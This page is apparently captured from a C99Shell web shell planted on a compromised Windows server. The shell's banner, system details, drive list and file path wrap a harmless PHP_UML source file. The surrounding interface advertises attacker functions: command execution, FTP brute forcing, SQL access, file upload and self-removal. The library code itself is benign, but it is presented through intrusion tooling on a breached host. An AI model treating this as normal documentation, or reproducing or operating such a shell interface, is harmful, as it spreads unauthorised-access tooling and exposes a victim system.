!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\PHP\UML\Output\HtmlNew\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DocResources.php (1.76 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP_UML
 *
 * PHP version 5
 *
 * @category PHP
 * @package  PHP_UML
 * @author   Baptiste Autin <ohlesbeauxjours@yahoo.fr> 
 * @license  http://www.gnu.org/licenses/lgpl.html LGPL License 3
 * @version  SVN: $Revision: 169 $
 * @link     http://pear.php.net/package/PHP_UML
 * @since    $Date: 2011-09-12 01:28:43 +0200 (lun., 12 sept. 2011) $
 */

/**
 * Rendering of the resources
 *
 * @category   PHP
 * @package    PHP_UML
 * @subpackage Output
 * @subpackage HtmlNew
 * @author     Baptiste Autin <ohlesbeauxjours@yahoo.fr> 
 * @license    http://www.gnu.org/licenses/lgpl.html LGPL License 3
 */
class PHP_UML_Output_HtmlNew_DocResources extends PHP_UML_Output_HtmlNew_DocElement
{
    public function 
render($p)
    {
        
$dir     $this->getContextPackage()->dir;
        
$baseSrc dirname(__FILE__).DIRECTORY_SEPARATOR;
        
        
$index     $this->getTemplate(self::INDEX_FILENAME.'.'.self::FILE_EXT);
        
$modelName $p->name;
        
$index     str_replace('#MODELNAME'$modelName$index);
        
file_put_contents($dir.self::INDEX_FILENAME.'.'.self::FILE_EXT$index);
        
        
$src dirname(__FILE__).DIRECTORY_SEPARATOR.self::TEMPLATES_DIRNAME.DIRECTORY_SEPARATOR.self::HELP_FILENAME.'.'.self::FILE_EXT;
        
copy($src$dir.self::HELP_FILENAME.'.'.self::FILE_EXT);
        
        
$src  $baseSrc.self::RESOURCES_DIRNAME;
        
$dest $dir.self::RESOURCES_DIRNAME;
        if (!
file_exists($dest)) {
            
mkdir($dest);
        }
        if (
file_exists($src)) {
            
$iterator = new DirectoryIterator($src);
            foreach (
$iterator as $file) {
                if (
$file->isFile())
                    
copy($file->getPathname(), $dest.DIRECTORY_SEPARATOR.$file->getFilename());
            }
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--